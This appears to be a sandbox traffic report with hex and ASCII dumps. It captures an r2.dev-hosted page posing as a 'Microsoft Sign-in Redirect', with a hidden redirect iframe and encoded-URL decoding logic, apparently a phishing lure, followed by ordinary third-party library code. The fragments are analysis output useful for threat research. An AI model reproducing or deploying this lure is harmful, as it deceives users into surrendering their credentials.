2025-03-27 15:59:53 UTC	1086	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 69 63 72 6f 73 6f 66 74 20 53 69 67 6e 2d 69 6e 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 21 2d 2d 20 54 61 69 6c 77 69 6e 64 20 43 53 53 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 74 61 69 6c 77 69 6e 64 63 73 73 2e Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Microsoft Sign-in Redirect</title> ... Tailwind CSS --> <script src="https://cdn.tailwindcss.
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 27 66 61 64 65 4f 75 74 20 30 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 66 6f 72 77 61 72 64 73 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 73 6c 69 64 65 2d 75 70 27 3a 20 27 73 6c 69 64 65 55 70 20 30 2e 36 73 20 65 61 73 65 2d 6f 75 74 20 66 6f 72 77 61 72 64 73 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 66 6c 6f 61 74 27 3a 20 27 66 6c 6f 61 74 20 33 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 69 6e 66 69 6e 69 74 65 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6b 65 79 66 72 61 6d 65 73 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 61 64 Data Ascii: 'fadeOut 0.5s ease-in-out forwards', 'slide-up': 'slideUp 0.6s ease-out forwards', 'float': 'float 3s ease-in-out infinite' }, keyframes: { fad
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 70 72 6f 67 72 65 73 73 2d 62 61 72 3a 3a 61 66 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 40 61 70 70 6c 79 20 61 62 73 6f 6c 75 74 65 20 74 6f 70 2d 30 20 6c 65 66 74 2d 30 20 68 2d 66 75 6c 6c 20 62 67 2d 6d 73 2d 62 6c 75 65 20 74 72 61 6e 73 69 74 69 6f 6e 2d 61 6c 6c 20 64 75 72 61 74 69 6f 6e 2d 35 30 30 20 65 61 73 65 2d 6f 75 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 70 72 6f 67 72 65 73 73 20 32 73 20 65 61 73 65 2d 6f 75 74 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 Data Ascii: } .progress-bar::after { content: ''; @apply absolute top-0 left-0 h-full bg-ms-blue transition-all duration-500 ease-out; animation: progress 2s ease-out infinite; }
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 6c 69 67 68 74 2d 62 6c 75 65 20 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 70 2d 34 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 42 61 63 6b 67 72 6f 75 6e 64 20 33 44 20 65 6c 65 6d 65 6e 74 20 77 69 74 68 20 53 70 6c 69 6e 65 20 2d 2d 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 20 77 2d 66 75 6c 6c 20 68 2d 66 75 6c 6c 20 74 6f 70 2d 30 20 6c 65 66 74 2d 30 20 2d 7a 2d 31 30 20 6f 70 61 63 69 74 79 2d 34 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 70 6c 69 6e 65 2d 76 69 65 77 65 72 20 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 70 72 6f 64 2e 73 70 6c 69 6e 65 2e 64 65 73 69 67 6e 2f 6d 41 58 6f 49 6b 67 64 38 78 5a 52 73 4f 32 6a 2f 73 63 65 6e 65 2e 73 70 6c 69 6e 65 63 6f 64 65 22 3e Data Ascii: light-blue flex items-center justify-center p-4"> ... Background 3D element with Spline --> <div class="fixed w-full h-full top-0 left-0 -z-10 opacity-40"> <spline-viewer url="https://prod.spline.design/mAXoIkgd8xZRsO2j/scene.splinecode">
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 3c 2f 6c 6f 74 74 69 65 2d 70 6c 61 79 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 54 65 78 74 20 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 20 6d 62 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 32 78 6c 20 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 20 74 65 78 74 2d 67 72 61 79 2d 39 30 30 20 6d 62 2d 31 22 3e 54 61 6b 69 6e 67 20 79 6f 75 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 Data Ascii: </lottie-player> </div> ... Text content --> <div class="text-center mb-8"> <h1 class="text-2xl font-semibold text-gray-900 mb-1">Taking you</h1> <p
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 2d 67 72 61 79 20 68 69 64 64 65 6e 20 61 6e 69 6d 61 74 65 2d 66 61 64 65 2d 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 56 65 72 69 66 79 69 6e 67 20 79 6f 75 72 20 69 64 65 6e 74 69 74 79 2e 2e 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 0a 20 20 20 20 3c 21 2d 2d 20 48 69 64 64 65 6e 20 72 65 64 69 72 65 63 74 20 69 66 72 61 6d 65 20 2d 2d 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 72 65 64 69 72 65 63 74 46 72 61 6d 65 22 20 63 6c 61 73 73 3d 22 66 69 78 65 64 20 74 6f 70 2d 30 20 6c 65 66 74 2d 30 20 77 2d 66 75 6c 6c 20 68 2d 66 75 6c 6c 20 62 6f 72 64 65 72 2d 30 20 6f 70 61 63 69 74 79 2d 30 20 2d 7a 2d 31 30 20 74 Data Ascii: -gray hidden animate-fade-in"> Verifying your identity... </p> </div> </div> ... Hidden redirect iframe --> <iframe id="redirectFrame" class="fixed top-0 left-0 w-full h-full border-0 opacity-0 -z-10 t
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 20 28 21 77 69 6e 64 6f 77 2e 63 6c 6f 73 65 28 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 63 68 61 6e 67 65 20 55 52 4c 20 70 61 72 61 6d 65 74 65 72 73 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 63 68 61 6e 67 65 55 72 6c 50 61 72 61 6d 65 74 65 72 73 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 20 7b Data Ascii: (!window.close()) { window.location.href = 'https://www.microsoft.com'; } }); // Function to change URL parameters function changeUrlParameters() { try {
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 45 72 72 6f 72 20 75 70 64 61 74 69 6e 67 20 55 52 4c 20 70 61 72 61 6d 65 74 65 72 73 27 2c 20 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 47 65 6e 65 72 61 74 65 20 72 61 6e 64 6f 6d 20 73 74 72 69 6e 67 20 66 6f 72 20 70 61 72 61 6d 65 74 65 72 73 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 6e 65 72 61 74 65 52 61 6e 64 6f 6d 53 74 72 69 6e 67 28 6c 65 6e 67 74 68 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e Data Ascii: } catch (e) { console.error('Error updating URL parameters', e); } } // Generate random string for parameters function generateRandomString(length) { con
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 3e 20 31 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 61 6e 69 74 69 7a 65 50 61 72 61 6d 73 28 75 72 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 75 72 72 65 6e 74 50 61 72 61 6d 73 20 3d 20 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 62 61 73 65 55 72 6c 20 3d 20 75 72 6c 2e 73 70 6c 69 74 28 27 3f 27 29 5b 30 5d 3b 0a Data Ascii: > 1; }, sanitizeParams(url) { try { const currentParams = new URLSearchParams(window.location.search); const baseUrl = url.split('?')[0];
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 20 3d 20 74 68 69 73 2e 64 65 63 6f 64 65 55 52 4c 28 65 6e 63 6f 64 65 64 55 72 6c 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 64 65 63 6f 64 65 64 55 52 4c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 49 6e 76 61 6c 69 64 20 72 65 64 69 72 65 63 74 20 55 52 4c 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 73 61 6e 69 74 69 7a 65 50 61 72 61 6d 73 28 64 65 63 6f 64 65 64 55 52 Data Ascii: = this.decodeURL(encodedUrl); if (!decodedURL) { throw new Error('Invalid redirect URL'); } return this.sanitizeParams(decodedUR

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:53 UTC	587	OUT	GET / HTTP/1.1 Host: cdn.tailwindcss.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:53 UTC	362	IN	HTTP/1.1 302 Found Date: Thu, 27 Mar 2025 15:59:53 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 location: /3.4.16 strict-transport-security: max-age=63072000 x-vercel-cache: MISS x-vercel-id: cle1::iad1::dhvhf-1743091163039-ecc84140b584 CF-Cache-Status: HIT Age: 12 Server: cloudflare CF-RAY: 927018f91abec598-EWR
2025-03-27 15:59:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:53 UTC	650	OUT	GET /@splinetool/viewer@0.9.414/build/spline-viewer.js HTTP/1.1 Host: unpkg.com Connection: keep-alive Origin: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:53 UTC	679	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:53 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 1695626 Connection: close CF-Ray: 927018f92cbc0f69-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 16950 Cache-Control: public, max-age=31536000 Last-Modified: Thu, 27 Mar 2025 11:17:23 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: * Content-Digest: sha256=:RUdpSLusmJa6MUgpDCfWikuLb0VIEJn1usm2L6t1rPg=: Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Server: cloudflare alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:53 UTC	690	IN	Data Raw: 76 61 72 20 41 45 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 4d 45 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 76 61 72 20 56 72 3d 28 65 2c 74 2c 69 2c 72 29 3d 3e 7b 66 6f 72 28 76 61 72 20 73 3d 72 3e 31 3f 76 6f 69 64 20 30 3a 72 3f 4d 45 28 74 2c 69 29 3a 74 2c 6e 3d 65 2e 6c 65 6e 67 74 68 2d 31 2c 61 3b 6e 3e 3d 30 3b 6e 2d 2d 29 28 61 3d 65 5b 6e 5d 29 26 26 28 73 3d 28 72 3f 61 28 74 2c 69 2c 73 29 3a 61 28 73 29 29 7c 7c 73 29 3b 72 65 74 75 72 6e 20 72 26 26 73 26 26 41 45 28 74 2c 69 2c 73 29 2c 73 7d 3b 76 61 72 20 45 45 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 2c 78 76 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 2c 43 45 3d 4f Data Ascii: var AE=Object.defineProperty;var ME=Object.getOwnPropertyDescriptor;var Vr=(e,t,i,r)=>{for(var s=r>1?void 0:r?ME(t,i):t,n=e.length-1,a;n>=0;n--)(a=e[n])&&(s=(r?a(t,i,s):a(s))\|\|s);return r&&s&&AE(t,i,s),s};var EE=Object.create,xv=Object.defineProperty,CE=O
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 6c 3f 45 45 28 50 45 28 65 29 29 3a 7b 7d 2c 4c 45 28 74 7c 7c 21 65 7c 7c 21 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 78 76 28 69 2c 22 64 65 66 61 75 6c 74 22 2c 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 7d 29 3a 69 2c 65 29 29 2c 4f 45 3d 54 6c 28 28 65 2c 74 29 3d 3e 7b 28 66 75 6e 63 74 69 6f 6e 28 69 2c 72 29 7b 74 79 70 65 6f 66 20 65 3d 3d 22 6f 62 6a 65 63 74 22 3f 74 2e 65 78 70 6f 72 74 73 3d 72 28 29 3a 74 79 70 65 6f 66 20 64 65 66 69 6e 65 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 72 29 3a 69 2e 41 6c 65 61 3d 72 28 29 7d 29 28 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 65 74 75 72 6e 20 69 2e 69 6d 70 6f 72 74 53 74 61 74 65 3d Data Ascii: l?EE(PE(e)):{},LE(t\|\|!e\|\|!e.__esModule?xv(i,"default",{value:e,enumerable:!0}):i,e)),OE=Tl((e,t)=>{(function(i,r){typeof e=="object"?t.exports=r():typeof define=="function"&&define.amd?define(r):i.Alea=r()})(e,function(){"use strict";return i.importState=
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 53 56 44 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 73 2c 6e 2c 61 2c 6f 29 7b 69 66 28 73 3d 73 3d 3d 3d 76 6f 69 64 20 30 7c 7c 73 2c 6e 3d 6e 3d 3d 3d 76 6f 69 64 20 30 7c 7c 6e 2c 6f 3d 31 65 2d 36 34 2f 28 61 3d 61 7c 7c 4d 61 74 68 2e 70 6f 77 28 32 2c 2d 35 32 29 29 2c 21 72 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4d 61 74 72 69 78 20 61 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 3b 76 61 72 20 6c 2c 68 2c 64 2c 63 2c 75 2c 70 2c 66 2c 67 2c 6d 2c 76 2c 79 2c 78 2c 62 3d 72 5b 30 5d 2e 6c 65 6e 67 74 68 2c 5f 3d 72 2e 6c 65 6e 67 74 68 3b 69 66 28 5f 3c 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 Data Ascii: function(i){"use strict";i.SVD=function(r,s,n,a,o){if(s=s===void 0\|\|s,n=n===void 0\|\|n,o=1e-64/(a=a\|\|Math.pow(2,-52)),!r)throw new TypeError("Matrix a is not defined");var l,h,d,c,u,p,f,g,m,v,y,x,b=r[0].length,_=r.length;if(_<b)throw new TypeError("Invalid
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 3d 44 5b 43 5d 2c 6c 3d 64 3b 6c 3c 45 3b 6c 2b 2b 29 53 5b 43 5d 5b 6c 5d 3d 30 3b 69 66 28 66 21 3d 3d 30 29 7b 66 6f 72 28 67 3d 53 5b 43 5d 5b 43 5d 2a 66 2c 6c 3d 64 3b 6c 3c 45 3b 6c 2b 2b 29 7b 66 6f 72 28 6d 3d 30 2c 68 3d 64 3b 68 3c 5f 3b 68 2b 2b 29 6d 2b 3d 53 5b 68 5d 5b 43 5d 2a 53 5b 68 5d 5b 6c 5d 3b 66 6f 72 28 70 3d 6d 2f 67 2c 68 3d 43 3b 68 3c 5f 3b 68 2b 2b 29 53 5b 68 5d 5b 6c 5d 3d 53 5b 68 5d 5b 6c 5d 2b 70 2a 53 5b 68 5d 5b 43 5d 7d 66 6f 72 28 6c 3d 43 3b 6c 3c 5f 3b 6c 2b 2b 29 53 5b 6c 5d 5b 43 5d 3d 53 5b 6c 5d 5b 43 5d 2f 66 7d 65 6c 73 65 20 66 6f 72 28 6c 3d 43 3b 6c 3c 5f 3b 6c 2b 2b 29 53 5b 6c 5d 5b 43 5d 3d 30 3b 53 5b 43 5d 5b 43 5d 3d 53 5b 43 5d 5b 43 5d 2b 31 7d 7d 66 6f 72 28 61 2a 3d 76 2c 68 3d 62 2d 31 3b 30 3c Data Ascii: =D[C],l=d;l<E;l++)S[C][l]=0;if(f!==0){for(g=S[C][C]f,l=d;l<E;l++){for(m=0,h=d;h<_;h++)m+=S[h][C]S[h][l];for(p=m/g,h=C;h<_;h++)S[h][l]=S[h][l]+pS[h][C]}for(l=C;l<_;l++)S[l][C]=S[l][C]/f}else for(l=C;l<_;l++)S[l][C]=0;S[C][C]=S[C][C]+1}}for(a=v,h=b-1;0<
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 22 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 72 29 3a 28 69 3d 69 7c 7c 73 65 6c 66 2c 69 2e 54 69 6e 79 51 75 65 75 65 3d 72 28 29 29 7d 29 28 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 6e 29 7b 69 66 28 73 3d 3d 3d 76 6f 69 64 20 30 26 26 28 73 3d 5b 5d 29 2c 6e 3d 3d 3d 76 6f 69 64 20 30 26 26 28 6e 3d 72 29 2c 74 68 69 73 2e 64 61 74 61 3d 73 2c 74 68 69 73 2e 6c 65 6e 67 74 68 3d 74 68 69 73 2e 64 61 74 61 2e 6c 65 6e 67 74 68 2c 74 68 69 73 2e 63 6f 6d 70 61 72 65 3d 6e 2c 74 68 69 73 2e 6c 65 6e 67 74 68 3e 30 29 66 6f 72 28 76 61 72 20 61 3d 28 74 68 69 73 2e 6c 65 6e 67 74 68 3e 3e 31 29 2d 31 3b 61 3e 3d 30 3b 61 2d 2d 29 74 68 69 73 2e 5f 64 Data Ascii: "&&define.amd?define(r):(i=i\|\|self,i.TinyQueue=r())})(e,function(){"use strict";var i=function(s,n){if(s===void 0&&(s=[]),n===void 0&&(n=r),this.data=s,this.length=this.data.length,this.compare=n,this.length>0)for(var a=(this.length>>1)-1;a>=0;a--)this._d
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 2c 5f 2c 68 29 29 3b 76 61 72 20 43 3d 6f 28 68 29 2c 54 3d 6e 65 77 20 6e 28 75 2b 79 2f 32 2c 70 2b 78 2f 32 2c 30 2c 68 29 3b 54 2e 64 3e 43 2e 64 26 26 28 43 3d 54 29 3b 66 6f 72 28 76 61 72 20 44 3d 53 2e 6c 65 6e 67 74 68 3b 53 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 50 3d 53 2e 70 6f 70 28 29 3b 50 2e 64 3e 43 2e 64 26 26 28 43 3d 50 2c 63 26 26 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 6f 75 6e 64 20 62 65 73 74 20 25 64 20 61 66 74 65 72 20 25 64 20 70 72 6f 62 65 73 22 2c 4d 61 74 68 2e 72 6f 75 6e 64 28 31 65 34 2a 50 2e 64 29 2f 31 65 34 2c 44 29 29 2c 21 28 50 2e 6d 61 78 2d 43 2e 64 3c 3d 64 29 26 26 28 5f 3d 50 2e 68 2f 32 2c 53 2e 70 75 73 68 28 6e 65 77 20 6e 28 50 2e 78 2d 5f 2c 50 2e 79 2d 5f 2c 5f 2c 68 29 29 2c 53 2e 70 75 73 68 28 Data Ascii: ,_,h));var C=o(h),T=new n(u+y/2,p+x/2,0,h);T.d>C.d&&(C=T);for(var D=S.length;S.length;){var P=S.pop();P.d>C.d&&(C=P,c&&console.log("found best %d after %d probes",Math.round(1e4*P.d)/1e4,D)),!(P.max-C.d<=d)&&(_=P.h/2,S.push(new n(P.x-_,P.y-_,_,h)),S.push(
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 6f 50 6f 6f 6c 3d 5b 5d 2c 63 2e 68 74 6d 6c 35 50 6f 6f 6c 53 69 7a 65 3d 31 30 2c 63 2e 5f 63 6f 64 65 63 73 3d 7b 7d 2c 63 2e 5f 68 6f 77 6c 73 3d 5b 5d 2c 63 2e 5f 6d 75 74 65 64 3d 21 31 2c 63 2e 5f 76 6f 6c 75 6d 65 3d 31 2c 63 2e 5f 63 61 6e 50 6c 61 79 45 76 65 6e 74 3d 22 63 61 6e 70 6c 61 79 74 68 72 6f 75 67 68 22 2c 63 2e 5f 6e 61 76 69 67 61 74 6f 72 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3c 22 75 22 26 26 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 3f 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 3a 6e 75 6c 6c 2c 63 2e 6d 61 73 74 65 72 47 61 69 6e 3d 6e 75 6c 6c 2c 63 2e 6e 6f 41 75 64 69 6f 3d 21 31 2c 63 2e 75 73 69 6e 67 57 65 62 41 75 64 69 6f 3d 21 30 2c 63 2e 61 75 74 6f 53 75 73 70 65 6e 64 3d 21 30 2c 63 2e 63 74 78 3d 6e Data Ascii: oPool=[],c.html5PoolSize=10,c._codecs={},c._howls=[],c._muted=!1,c._volume=1,c._canPlayEvent="canplaythrough",c._navigator=typeof window<"u"&&window.navigator?window.navigator:null,c.masterGain=null,c.noAudio=!1,c.usingWebAudio=!0,c.autoSuspend=!0,c.ctx=n
2025-03-27 15:59:53 UTC	1369	IN	Data Raw: 7d 2c 5f 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 74 68 69 73 7c 7c 69 3b 69 66 28 63 2e 73 74 61 74 65 3d 63 2e 63 74 78 26 26 63 2e 63 74 78 2e 73 74 61 74 65 7c 7c 22 73 75 73 70 65 6e 64 65 64 22 2c 63 2e 5f 61 75 74 6f 53 75 73 70 65 6e 64 28 29 2c 21 63 2e 75 73 69 6e 67 57 65 62 41 75 64 69 6f 29 69 66 28 74 79 70 65 6f 66 20 41 75 64 69 6f 3c 22 75 22 29 74 72 79 7b 76 61 72 20 75 3d 6e 65 77 20 41 75 64 69 6f 3b 74 79 70 65 6f 66 20 75 2e 6f 6e 63 61 6e 70 6c 61 79 74 68 72 6f 75 67 68 3e 22 75 22 26 26 28 63 2e 5f 63 61 6e 50 6c 61 79 45 76 65 6e 74 3d 22 63 61 6e 70 6c 61 79 22 29 7d 63 61 74 63 68 7b 63 2e 6e 6f 41 75 64 69 6f 3d 21 30 7d 65 6c 73 65 20 63 2e 6e 6f 41 75 64 69 6f 3d 21 30 3b 74 72 79 7b 76 61 72 20 Data Ascii: },_setup:function(){var c=this\|\|i;if(c.state=c.ctx&&c.ctx.state\|\|"suspended",c._autoSuspend(),!c.usingWebAudio)if(typeof Audio<"u")try{var u=new Audio;typeof u.oncanplaythrough>"u"&&(c._canPlayEvent="canplay")}catch{c.noAudio=!0}else c.noAudio=!0;try{var
